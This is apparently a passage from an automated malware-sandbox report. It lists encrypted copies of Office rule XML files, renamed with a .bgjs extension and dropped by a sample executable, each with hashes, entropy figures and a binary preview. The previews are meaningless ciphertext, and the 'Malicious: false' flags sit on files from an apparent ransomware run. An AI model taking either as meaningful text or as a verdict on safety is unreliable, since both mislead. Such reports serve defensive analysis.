Preview:	<?xml.7.c...+P.Vi\|!......!...5T.a;..:-...k.2....d&....9..w\|...".=...`..V{.S...8e.........=[.....(...F:..Q........&..S.S...[K..s.........R.Xya.")..D...N)....8;.a....sA4c.!#.(.Q.a5Q.c.....g...A...........kL,...<...uJ.....p.....2.g..I...D..R..[H...Xj.....~....w...),.4...2)....y.J...uiX\|i.`.7.n.X#, ..K.T.....y..p..\|.tN..ZO9x.p5.....]...c.2..T.7.w ....xg..+$.4l..,Z..'..(........... .@..OF.x]..C.ir....1B=....A......c...$-@.....'....&.?..C.....t....@5.;........'.M.,K.KF....v..n..o....I... .:...M....m7.......2....S....2....8....P..xI....B.....;.Q.>...SN.....7...y!.E...A..p....$?...'F.e~...?._...8.e.j..'J.T.=..".QJ.nA...gF.C...s.....\|.p0..#h.e..1.*.R.%..n.r3..d./.HQ..Z......]..2..p.G....m...:.J.)A_.Nh.?r.[...K.KRF..E...7l...7C...;..s...h...8.vI..j........DZ...n.E.OY..k..2.M.......k.t=.K.W.!.9...T.j.......)U^A5.d3;H..4Sr....9...B.h...h...7..... ./.5..... ].y.y. ..Kb.<.=.!TZ........v y!t.!.^.IG.4T ._.>...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170035v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1143
Entropy (8bit):	7.823636904655187
Encrypted:	false
SSDEEP:	24:6xGBOtmtqAFWCV1ybQPbWFySfJjjXq9up2kBy/BmNKGH4ysbD:wqq+qFyWxjX6uUkByopmD
MD5:	A9BB9D301D0DBD7F902580031EABDD02
SHA1:	B1A7313D8E130981C2A317E13233121D8E86224F
SHA-256:	2798C29590C0F8CA9165E76DE36DA58E4398FD1075A6E8773758441F9B2DFE54
SHA-512:	94B265858546F5DCD386AEE1CCDC9CC264EF147F9817DA00F1E8DA9F908065A35AEE6443A455C6A768CED8A1D0CE844B0E5A581E182A65EBD7456ECB6DBC9059
Malicious:	false
Preview:	<?xml.N+6Lm....4...n...U.~^M...\|.h0v..J...\|....5.fM.L....\..8..3.~.l..'.<....j.kk..K4C\.aV....Ie...u.Cwl.......m....jm......`.L....k......(.Ri.qbj.f....q.1G[U8..9.h.A.]..Lb`.x.#,U.u...s. _..".@......,E.$...e..\|..J.M.. ..&.?e..B...<....Y..cp..JX.NB...]S.o..'?P.'T.....'...eQ.........A......$'..[o.. .\.....^15.....-...O.._... Z.7g.....+.`...y.k..T._9..........j...O.5......zN[P%N..m...@.u$....s.w7..........li.J.9S^..4B'!....S..v!.9..4..-..,t..:L,.L..<i.x..9...p..R3...&..`....ho.$..?....N.uxH....iu..4.a...k.n[.]..R..(z...+\|0.....~.8..;L".Ux.v7.....VUx....B.x.:.}2....4<8...,......i...\...S x...%...l.kW..M....c-.>..\|Q.#..j.p%Ml..S........86D.~...$....>...{...A5.. ..O6./...:\|0g.5.G.'>..'.9...[T....%r:K%...sn4q....8:(..?...k.@...h..!.-f.......W]..e.U.."..\.5;'.B... ?.k..2..jV.A.R..m...o.z.Z_.t.k`.w."......t..y...w#.5.'.)b7..[...0z.]c#..}tf. T......^'..{....&.d..(.1.+..d.E....R..Ee(".fQ.-.D..L....K..xD.Z.ih......vj[.t....LspQL.?+..1i...f

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170037v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1503
Entropy (8bit):	7.865072257897808
Encrypted:	false
SSDEEP:	24:f08DbRUA+PGj0Nxck0/0I+7D4f3U+eb3Ip0nGEOhuS+Hd4+UkqvsbD:M8DNU0jWxcp/kME+eJG3gHd4fHmD
MD5:	AEF4FBB078964493C1E16D1442CE47AD
SHA1:	0AC6AD039CA9F22D82DE9EBD73DA2002C6D39EA2
SHA-256:	B1FC9601BCA3E07D4431568C5C9ECBE91AA719B65BE3C0EB62806F78FED578B7
SHA-512:	5F9CE4609B5ADBC9D33579CF88DE3A2E593D8ADBC7BCB42F3D726C8E68BDF0619B8B3FC6B0333B46863984D662CF9EC92AAD01AEA46DE3D25D2A58CE56843F77
Malicious:	false
Preview:	<?xmlX3..[.z&..\|...Z1..-...._g\.{.s.<D....^L..f..3.9....A.O(....7{9'....o..b....!...%...O....C.^..../l..l..eI..q ........Su.g.WN.I7f.};....... ....z.?{......4=k`U.E......B.......4g.`~.:4...#.Ub.8....(.J.Y..=..[.3....6#....&.}.S.8.E.em.lm?...N.Q.m.z.}......hb....S0~f.N...BU..-9<....@...N. .@....U/.9.....e.n.A..MY..0O...=.......h.[y....wb.QO......\|X....+.Z._B....Z..Y.6`....J...~..t6.1.x.B.d.X].........}.P..3.o...n:-.0......CP6.>+b....=..-3p\a..6KIq].-P...,_a...............T.G..........VA.J.......:%]t.....d<....U.a....Es.[......,. ......I3...+..QmQ..!%...4.U..-}.......H..."...........'5\|.Gg......@....D..Y.....1.#A(.......te.P...\.C...n...b...zX..y....U..........4j!.)B.9...#[..E.=.....8r.EA.v.M.B.{.h.....$Q..K...F....}G.....c.\|n.f.1.&.AU..._5=a...............r.y.I...,..n.....wF9..Z....m.Q......0....NY.\.......M..._./......u.....k..i....Y!.V ..g.g....<.L8.G..Ns..H..c.7.%\|.\|8.....f.a..=].Ve...p.Y...ewt3).r..;Z.S}..`....TN.m.3...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170038v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1036
Entropy (8bit):	7.794701210535942
Encrypted:	false
SSDEEP:	24:cKqCYNGMbPDElhfvXHjbvpCIhp9IaoOLRKH17OagFUX/ZGjcsbD:cKqrIuAlhvUa5okmCFu/ZG4mD
MD5:	49573072D680C0C2DF855CA511EF722D
SHA1:	41194202CACCF1CB7C146D5280EF67E78607C776
SHA-256:	E845743A409BCFAB8DC4137ED723C79A9A4FCF5F6DD5532585FA966F7442ECD8
SHA-512:	BD722E6786BF59837028EE78A8EDB675EBC9A30EFB1A49C0A716F0646A045658FA1533C6DF2C1A8AE566D04E0E438F06BCB6938A4B7B58B25F023FFAC8152987
Malicious:	false
Preview:	<?xml.w........A.[.TI.}yz>!..dL.......n.,^Q..._op.].G...b.Jq.(.'...ps{......w.`P.[...7(.%j...@...:..S..._\|0.#'\|.t....}$.\l..?U.^d..).$.Qbx..q.P.`...v{.L.sJd...6lr...iV..h..olo..Y..H~..pF..\...@\|...\|-..=..w.CF........ZO.2/..o..j.{.{..=.l....`.Ux....r....`.#...~.o...M...v.].5G.(%...z.6.......v%J..v.~..%"...\|{K...8..Ze..9.b......a..o..-L..L?=J..0.).Y.=w.i.=.+...S..P2....w>.K.....?.I....o.$.[.lV).Cf..n.....z..)D..'JIu.....B..k..<.Ab...>\|.......I....p.6.7n..VNJ.....V.k..F...9c;..Q'.......].....+...aqX.{.F:.c.a...m.$.q..a.3..../u.4..{...#....L.'..<.C5..r._....fR.!k.... .;..7P'........,.6.c7oU...@L....+.H.......Y..:n..@....>h1......pi%%i.q.h.........y.e.c...h.&......j@(S.T.._......{.....^.Cs.e...d...&....j...f....0u.2....M(.V.G.3....EF.G..n.._.<..........g#W`.O..[..".n..q3w........M.q...H.s.6...7....Z..sm$.....V..0_7.q.-..Y^..}..`..lk..u<..Cz.~{aP.e$D.._[\};NW..6^.^..{....S..w..d."..T..............Q~8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{3

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170039v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.763227789107887
Encrypted:	false
SSDEEP:	24:xKBXD1Kqo3MfL9cYvdcRaD/XINuo7Nbqu8sbD:xKBz1KtOLOYiRaD/O7gmD
MD5:	045956157A838DF596494DEBA26434F5
SHA1:	C7619174CF5985D00A91F5839194A64C66629C88
SHA-256:	BD6EA7D1D967F5D19C964434E293631571E86EADEA93F4AC9AF2040366F05B5E
SHA-512:	840DBF43301B9F3B85D657E89F850226BE6B90813F70C197E71E88C40F0FC7B96FFDF73ABB9B8CBD91C4579C7C0328249D957F593F6DB46E6D8445CD0771E48F
Malicious:	false
Preview:	<?xml.d...~f/u.D./.....B..I.)`7..2......K..f.[(.-$..d=..Vg+.u...Z.7...o..a...n.np..^:....aZ4zT..........q...uoE.k..5/.y...C...C....1.'.z.lu.9_X....L..VfOL.x...Q.>&"......I3{,gZ}....;.;.4..i.._\|.1T..m...t..R.;,Q.w..<......u6.]..5zd=.B...A../.E.e.d..D....B...........Ea\|.L.3.".....9...0F.....M.}Y...}.!.m.8.i.0\.r~..=.\.Qw...VfE..8.......3.R0..yp.W...H.. #.81\.7.$..J..v=T..P..=:..{`...i....w$#u.+...r.....8bD. H.o+......#.y.V{3.O.....'..bL...@..G..f....lU...q.....5..`....4..L(.6.r.t2..e.[...Tc.NP..Z...1baR.\|....a.>.].&t..-i.B.RHh...kvu.d.H...,H.......S..".!..IdA...._KMl...[Petq...EP........3...%6...?..^..M<.M{......k.k.?.x...*.2E("%.;.....S.\..K.z.<..[........v1[.N..y..7..a..T..../....e2..!1'.G...cb.j..a.S.ae.E.TZ6Wj.)..P......U.(z...5.G9P.q..w..'H..Hf.m{.,ub.M.N..zj.X-Z..Aw......:....c?..nh..&zlS....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170040v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	723
Entropy (8bit):	7.73850250562628
Encrypted:	false
SSDEEP:	12:L+lEE0W4ra1OOvdclrmSBPqL0laQlMFsLWknaEdAERKrPy2ooUskbl+eQV8vYVDJ:5nW7OO1OigS+aQWOKNEs+loH0QV8mDRP
MD5:	F922B2CA285D4D6EA6F2110268BD1004
SHA1:	E29A8A183C13F2CEB22884BCBC9747EA58040237
SHA-256:	13663BAE17289E67088D2D355C0EFEB601A3C3930B9B73D6E61B5CF076F55BF8
SHA-512:	CA068CB2447256B5F7EEF6BDAE85CC20F60579041497ADFF451FAEDE9116C2D13819F693F093FC42A231B47A41335A0DCC2DFDF029CDE007F0E9B6624D34637C
Malicious:	false
Preview:	<?xml.t.ix...".b.y.=.........j.........r..]^.q..oN..6f...%~...1..jy..T....c.Q.p.#..J...Y...<.[J.vY.zv9..3".K...=...Q5..Fh...{.~.......T..4L.D.H...o.._^..Q..+..]h....E.g..p~b..j....+..@......v`E.J.Sl....9.H....3..U.m..D...5../...!..E.#.QP..yPB.5..X...t.\..q.3..DK..]...'.....o..^;..I@._E.?.5.\|...jWK.1< ........."..n...s;...N...r.y.......b<.V..u..V.A........r..U.nK.(<>.-..b..........f.".`....@I.Y..M../.(..J.._r.k...%...i..C..T...,.k..Rc.......c=..&...&.w....7..=..70.U2...c.......q.6.U...m..E......d.<........H..}9......].%..o.....a.....OH*.]BK....=....6v.E$....Z..j.P./.....^_{.[.....)..\|..z....].'.M\|>J.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170041v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1089
Entropy (8bit):	7.803529830828504
Encrypted:	false
SSDEEP:	24:0nD6vRacCfk8qJcpWGuq0w/oe10kOUDOMnGWsxsbD:0mvrjtdGuU/qOqIbsxmD
MD5:	9DB859921A63EC62F60BBF60FB721746
SHA1:	7563E0805C0CBE0BFC4FFF2DCE93BA9F4FA6200B
SHA-256:	493F86C556B1B5CA728AEEBD098C1DD46B7EEA3D632680162DEC708289AB98D5
SHA-512:	FCA9FA5DB64F1D3AEF9D25D81013E3377999BB55F5963FB25CF7FD12D3BBBF62358F010AA675A95B403EC8981EE45DE24FBBEBAB4E711C9AF2442AAA0F820F49
Malicious:	false
Preview:	<?xml..5.4}.?..;v..,u.B..zH.,.._G......%Nv].....2.2.}.y4.b.i4x.2....Hxt.AF..,A...;w.W.....:@...B6....-..Z.u.......Q..p..3.."(.. .d...n....4._P.7....?^.1.]..N.....)...6.}.........N..y,...ic.>8...... .V...e?...?..P,X......G.C..KN.d.P..7..9&.}.....1....y.g}Pk\|....?...$..f.6../..s ..o~..v..L3..g.O(v........!..$.x.... (. ..@P..9.H..$.........W..~M..k...?.L.....2+..}..GqT.I... ..r...R..E.....pf~.......n.....k....a4A..~.CN1-.).a..c.0....5.c\|.......D.bg....5H..U=.L.....\|.....J..w.p..6...a.>....T.z^?.!.....)b5.\....N......L.^S.z.e.....,7...[.,nFJ..m....n.Q!..Y.D...:....d.......6.@c8.....H.....E.xA.@f...5..c.[\...U.......G..0..d..wD(..l.........+.T......=...`4>"..`..P.P'W.. O(x.M..U..{.k%(....%.@+.............57M.LE...e..QWDDd.rF......l;..h.d..b...lU......2[yM8..C...p.r.a.^xX..=WHk.S..r.....H.. .1.U......V..33..*o/.h..0A....?.../.I......(J.j...'..~..PFD...G.S......R.i...]@....+.;....%..H.CV.M...c/...7..'$...wA.\|8$.$/T#G..rbxA..ZQ..r....b.!

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170042v4.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.78279293311585
Encrypted:	false
SSDEEP:	24:NwwUmypqf1pSHf0cQekD83uPKLTKrrpYsbD:NwwUmtNpSHMAoqq+KrrqmD
MD5:	9CB92B0086D824887E6AF334613289B5
SHA1:	715BF53C473B4C1DFA1CD6F69C5F313C22DB8D70
SHA-256:	B005536EE0FA3A979DD73ABFA4342FFCF19D4C32047D65DF595E179EF27F647A
SHA-512:	83129819251542F7BF527C67B4B98BC71C0E92A15A5AA668504F2DCED3DCB5FA8CC9C55FF6A66418D394497C41C4F3B2FCE2357998F009D2F283B662165EE908
Malicious:	false
Preview:	<?xml.M........lq.F..#.!ug...Ct.W..O..^y..i....,.gC..X..w..d+?..~E...L.L........W.1.1...2`{..[+.]....=..2.>........;.b....;gB.b.~.ya...'.l...{k..Nh......X=V.^...~.2L...t...@....4.c...}..Q.2...B.....$..:.t...E..I.....s..G...8.+.......h.o$zY.Jq............s.'....C/........f@.W.g.U..aC..c..3.S.dWa.6.#..7.z.ua..j.%....-m.;...ezX3.w/'.d.i...}1.Fk.....l....L..+V....r...5.\|y1w.0$\|.$.N3.TLk.....t\|X.y8..lc...,..E.O..u.d...g.....5r.[..E..k.....:..+....EPP.....=;Wyl"w..._..1q........$2_...mp...... v.H5.Y...l..d....y.:.C.d.M.V/.....Sp...Q7....~(^@f.sC..F.i......D...&K@,..S..7eh.....B...r.........\D..\X..<N..x6wV.....)-...O2.Q....@..5..>R..O....rB...{F..slc.S.~s....=.+p...._..;s@..,....I.S.i....:.+.$!..Y....-..g.E\|..OV.W..V:\....r.:....x...~pr.&5i`..#.cG....-vv.X..k..?..Ww.j.~3....i..N.....9u.U.o.#.ri.('....[.z.h.]..{.!...`M...$..GW.M.<R....&k.;=...V7/.#...PaTY.z.s.8.j$YE..."../er^.I.........dA\|.7..~.\3..fp..H......\|....K8Dvoqx3bvfv1GNOXwQLrS9NhK8A5B

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170043v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.731573457051809
Encrypted:	false
SSDEEP:	24:axIbCdCjEkjzi3+0DJFx046B+eOtyqbowJsbD:axcTjd0DJI4k+M4owJmD
MD5:	7AF01E740EF0A79BEC255866E8212F8D
SHA1:	7447B49C822996BC788F921C95E8602BA499B92F
SHA-256:	8F28EFA1A97E0CC21F0E7435ABEFC3172A5AAE61B7935A0125D01155FB685529
SHA-512:	0318AAFFFA74A0EC3697A9632B2D494E467828085D302D54B81D6E4DBAEE3B80EBE5015669AC434ED6E35F6DD0DEBD3BE05E7C5CA61C78D45116F7A71218B408
Malicious:	false
Preview:	<?xml.q......).'s`.`.)lR'...c..A.E`..7..?}."...v.)............o.a.<..L..j@x0.....e.....q,.:.0NK..}.,]Ii..j.....~.p...$v....V..V5...........H..^..3...$.....%F&.hva...w..f.8.....x..IbMO..u.Gz.=.r]....8...f.5.E.V.>.......b.[.`.....K..D.........7c...B.....Y.sA..yW..?.....!=........t\./.o.&.wSA.v.H...@f..Z3........M.E6..5..../..s1).k..U.N.C.pG.j.'..D0..G..../.+.....#.&..?...O..!_.......B\..Ye:..'.w7..iw..&....J6].t.u...B.lb>f?.e....&.~./.:....\|.L%.k.%h.b,."-.>.SV.jQG9xY.O@"..v..3.].e7..).............Z@.W9...b.W!. .T...u.~..V..xo..#^....k6.Gb....t..(.....K.F....?y{....}j.2o.......oP{...K.....0.:.).-+...l....ONhO...$.....8.<......_J...yX..@.V.C.q.;.,.m..i.4(....b.....eg.N.q.H.CH.S.rx...v..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170044v4.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	853
Entropy (8bit):	7.754350256529122
Encrypted:	false
SSDEEP:	12:XV7il7QK8k0RwoSXpkFwr28bMhwUhq7V3fxgOgfpbrezd4QqWiBSWmF1puQsciik:lIQNkMwP5kFwaMM36VeOapzxSWsfsbD
MD5:	AC904212F51E7C2A05745B6F34FD786A
SHA1:	B878D2CAE52E9846DF615DA82A149274B72E531B
SHA-256:	5FAED70460850A853B64FC401FFA36D3477C856F1B6E949B4DCCDDF902D7D654
SHA-512:	6CF1277450BF1E0FBF82E7C1584688D59C840DFED3D5FFAC49B5E5CB6A0668891681491E88DBC758308F1474140D99E5F215305294AEBB9B52E4C2A828FF3315
Malicious:	false
Preview:	<?xml.c...z5w]s}..71...=;V.B..........NU.6tr...9.......=.s..A.T.O.k+.0....5.!.U)..}.K.M....rOS...'...d...Q_..oFQ.Q.... .y..,..\|\.W..&..-.".I..7.r.a....]..\|..1G. ..B`....\.).}z.u..i....-..PeA\|...rw...!. .N.$...n~.>c).M.....7+X.?M9...E....!s.....d...f1...k...JS.-.....I..i......F..1..[O..P...-..p.}.JX.p.....G(@..Z..5.oK...}.U...i..%.ES[.......b"..[<8-[CW......._;...6S2..H..4J.....&K........@0..G......z#.....i.m.I...D.G....L.8..S......~..#..>!0...0.x3...M......2.L^....D..+....pt.>..+3W.@<..V......y..)Y#..?.....nhj.c..B.xB............Z.eAj.:..4&\|.0..'>.....R..ZF...M.UP..6...C5s]...&m..n.6.ErT}....n...%"kNd.S_l..B.5...n.(......~..A.............LuU...B...J....l..#e..).%6R...B....n5.>..b}...5..D.+.u..V.F.(.o..b.Y.....%4...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170048v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	7.770528575540613
Encrypted:	false
SSDEEP:	12:fDZUQ6ec7SpwzSzcslvLo4fa1+NIJ9rZAB1ujb9eOWQsqK4Ete7E53CG49twNQsX:rZsWpwWjhUeDoeOWj1M7K3F48CsbD
MD5:	C0B30C88328BFE77A6EC0C1D87428D75
SHA1:	A684A965BF8966FF1220D0CC7B7C5ED8DED14FBC
SHA-256:	04309814FC4E97B4CB2F3E3F65F2C6D6D3E3390CF31697B8DF6E3CF599CA7236
SHA-512:	E9D0418B5CD3F2637AFEE177FB1F51EFA7178BA347BDA8DA3F1FE7C33B24C68FD624325DAE622AA8B8888E3405695E082A768A2B71BB54F7988F4860A89194C7
Malicious:	false
Preview:	<?xml...j:U..e=.....2........q..#..r'.5.....z.ca).E9.83f3.g..I.._{...%ns.....ot\|....h..#.)...9.O.N.~.}.>Kd........}Iv".h.k.W..LK..P..0Dj.o./..........!.a.WR.4.GPu....fN...Mj........G.Z!.M.#.<[,.Ghd.=...%.. ....h......B....}.....#ty{.......E.wuo...YD...pgsD..\|w..!f...'.xa......7H...o..(.vV.....1t`k..........O.].Q....&...k`,.+....F..qH,.~I.5......u.Y.Q......0...5....r.v.`w.A.F~..Q.j..P&.%..9.Hq....yS;.].z\..79...V0.3.u.......#...8B.bpg.o..f...}?...KF.]7..`ZU[...I...U...........-..u..j.X.[.r..+.<`.1S..0.j..G...t.....Dg.".x.^.4.i...h....@:..1YYP.:%.."V.}..}.R.G(......OV..BK.........$.....E.`.[.I.X........-....VJm.V.R]@^.4.Y.+.%..S....2.2>.-..4.M./;..S.~~..C6.,..j=... Nb.J$.xp.....u4o.g..0.....\|.J.(}9..x... #:.w...<..l_.N...}.......P8..>..S.g7..6......S&..l.Jah.+.?.e.F..y...o.8L@p{2R.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170050v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3310
Entropy (8bit):	7.943668999402586
Encrypted:	false
SSDEEP:	96:BnTvr1FvGqpAQxiJmgASfaLnyILyO+fWplWEppMpf+:BnLrRAQxSzun1txpl7pMf+
MD5:	204DE28C2BB61616B3A237019620859C
SHA1:	EE6B8C982ED5FDFA1F377E3B222794D05A9432F7
SHA-256:	CCDB6E24DF23B0C62F35D8E132AC24ECA65D6A9E9B5448E34AD975D2C9EE6D76
SHA-512:	83D17706BD6ABC64462DD05D98200E94EE6D8C31811B349EA3514E81DDF10CE087543E7EB18BD4ACEBD44E635B28CEFCF56F257015CF2F2329B511C7AD425BE5
Malicious:	false
Preview:	<?xml"&s...].....%L}.=.....m.\|.=V.6P..WQ...T....ml.F..G8}..]&. Z....}..q..W.[m.l....(.A...J..E.mc.=]....Y=..i....s.8...W".5...s.(.<...Y..mCn..C.......]X.D..4...$.. ..o.75.&.K.C.j...Z2...Kk..X.r..cRn.e...V..C.0F-.f...a`c..@.y!..<r.H.W..^\|...<&v@..^..hE.D...F`.0..m.A...r;..#X..^......a.sj>0(....5......F..2c.v.fp.^3..H...D.\(..<.....t..ci\|..k.._.....\...~..:J%.&.)1...^.-I......kS3.7..G..;}.G..&..0..6..n.......4Fvm...g.R+.......3LA.6..A.Z../..z\...#.:%L.....6.....NRL..5.....G...B30..g.W......Dp.\|}}S......s..%...o..d.pq.!..;.....R.?....g.J....a.j.'....n...ch..2.!SXc.e..Y.uA...G@....9.....~.7...w...].....k..5..qb.d.o`..m....K....]....CZ....j...I..@.Z.....ul(sc.?i...\....R&5.............6....o.[.V.Y..t...........M..AZP..6....z..5..z"..._9.!d...<....)..@...a..AudeP.6...W..P...o.(i........C.b..?b7..[1.].\.\|.\|..b..K....../....H..<.u./...7.N....]...E1.>[..@KA..[..P.~..V.\|.......Y=.'B).MX..]....\|uN7]..V.j..6..EwR....V.w5.W_....v.a.v(..A.+..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170051v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	910
Entropy (8bit):	7.759204662044583
Encrypted:	false
SSDEEP:	24:uGGpTq7zAXyXhDwMYnzNajNXjW/CPb+b21NvzsbD:UpTW4C3YnzelbRJzmD
MD5:	6084349D10DA84D18C65594F76111232
SHA1:	A7EA19336DEEAB200D3CEEABA6C02F53C10973E2
SHA-256:	58BCC277E1B2E04B133C8F8FEB9F750BE8318E774A161FE3A015C1DDFCBE4DF2
SHA-512:	C6654DAE43841086784BDF696443B36D73B58D97290793F5156CFC7C1BBF2B398BD0E597C6A0A0E05724570C5E781DD2AC450DFB13C8F0DB4B29A7F8A4B26DF2
Malicious:	false
Preview:	<?xml........%Y..~.../a..B..h1....Tn.J).....wJE.....Jj.......y/8Fg....U.a8.j.j..W...+...H....hY....G....tT.x...c.4Q.(...,...G.}.:..T.....fuA...C..e+.m.l?,.!a..l...`.FdR....<..lm..&....l.~.!.e.V..).....+..WL...(.v.'...[.....L.T.....]X.).I..;i..5.z.g...U...;....-.M.r..;...z].^......>.?.:.2. .1. .m.l.....w. ...Uz...l^ls..P...^......6.$N...^F.........\.+..D.H`.E......b..V..D%.......ND..4d....;...J[e-a.....o.Y..+.....j..sA..8B....k...6...J.Y.dO..2...]..$..7...gN}..b5..}.\|......o-T<.<...?J^Q.......3z..A....b.I.RM.0..>...o.Z@.3.."D[..9..f....F....G..[......0.z..h7\|...u$K.......sX.Y..7}.-.........J.. .(:l$. .7..$.fr#..3.)X%...-CRZD.Bo\|>.I..G....-..t...J%$.!...'...F.S'..;...z?SK`....xepj!..D.$X...D...~.5...%...Dl...<.....h.j. .R.....t..a.~..RE....i..\|....Rn.T.B.=.Nm.a.E8:,K..H.\.....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170052v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	941
Entropy (8bit):	7.759499139940519
Encrypted:	false
SSDEEP:	12:ooWN0Kw6UWYwKFfL8UqEi4nmjY8hAhyrZu7jWGveh+DKFAHpHdHEZ0zDwdxeisOR:oRXw6QT8JjmhyFOghjKHp/f2xeR/sbD
MD5:	53D976EC9D41207318ABD5F61578F25F
SHA1:	7F8F67293D6FFF87E105F6A0B5068202805151D7
SHA-256:	DC42B7EFE7E86EE1F0A77F4BDE241064985C36CE2D43DD5FA40E2E787A7C47E1
SHA-512:	7C642D08C22FFF9E5D595F52C66E235E8202FDE5B5A17C02B54A7CB7C69C7FDAA58034C89DBB9BF973EFEE94460BD8F35419757EBF0BAF52BFC3E3C38481F7C0
Malicious:	false
Preview:	<?xml.#Zs...[,L.....n&............Q\|..l..`.....j.X....k..o)).:.YKh.d.q.N...........;9e&Y.G......i.<[.>..0.x43.=..v.d..3jn...'4.......^.HC. Lq.ub...t..IL.J.....yh.X......U..G#.p4.y.....:....'=>M.n`....t..h..n.<F..b...q....q....d.W.d...L.....`]9d...o.Vi3h.......!.Lw....1...V.=3.Gd..f..%.....M..]h.6..35Lb...5.<f.e.E.......i..t.+.C.....l... .....@j..<...e..."P.{...f.H....B..a.!.]..'...02.Q(......N.i8..@.#.[w}]v.......h..jOR.^......D.6.)\|....2.Ju...:I.* ..H.7O....!..B......?.......;.$..>..p....g...../.%-.{.Xoun~.z...0Hw.....D..^}.Z.O..i..hX.l.F.b....V......ot...l..}.@......,.ddN:smA.Z.._.<..=......`.(HS....uz...qD...b..Y....~.l><.W...t-.~.....m...2A..o.!._.N....0....\..>.d.&..XA..6P...H.T0...=....[.....>..e1.e.....}.bq.q^hz.?J.z>-E.&./...5U..T..LX{.......~bJ4.i...H...cMn.F.2..8..j....^..-..z.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170053v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	7.688967268990985
Encrypted:	false
SSDEEP:	12:MBvQKsPAezw3TZ3sCgZ/FMDTXKbNhDpAddgiMqWom0VJaDaWRqHHT5F6VQscii9a:6sodTni94XKVAddAomCwqT/HsbD
MD5:	64B179487DC25F3102249BE9352521D4
SHA1:	30682AF4403A12D48A917803EC26D4545945AA0D
SHA-256:	3957A5E09602063D518EE50D0B1AE9030AA590750AA1B90FCC2AD6C1FD045075
SHA-512:	F1B72D48C8043C03E1D1C1EBC268DFCAA2B6E9338C73C410E3053040559C18B6DE603A95216869A0C965BA0182C2CBC7EFE7D7063F54CE37F9C96BEF9BC381AE
Malicious:	false
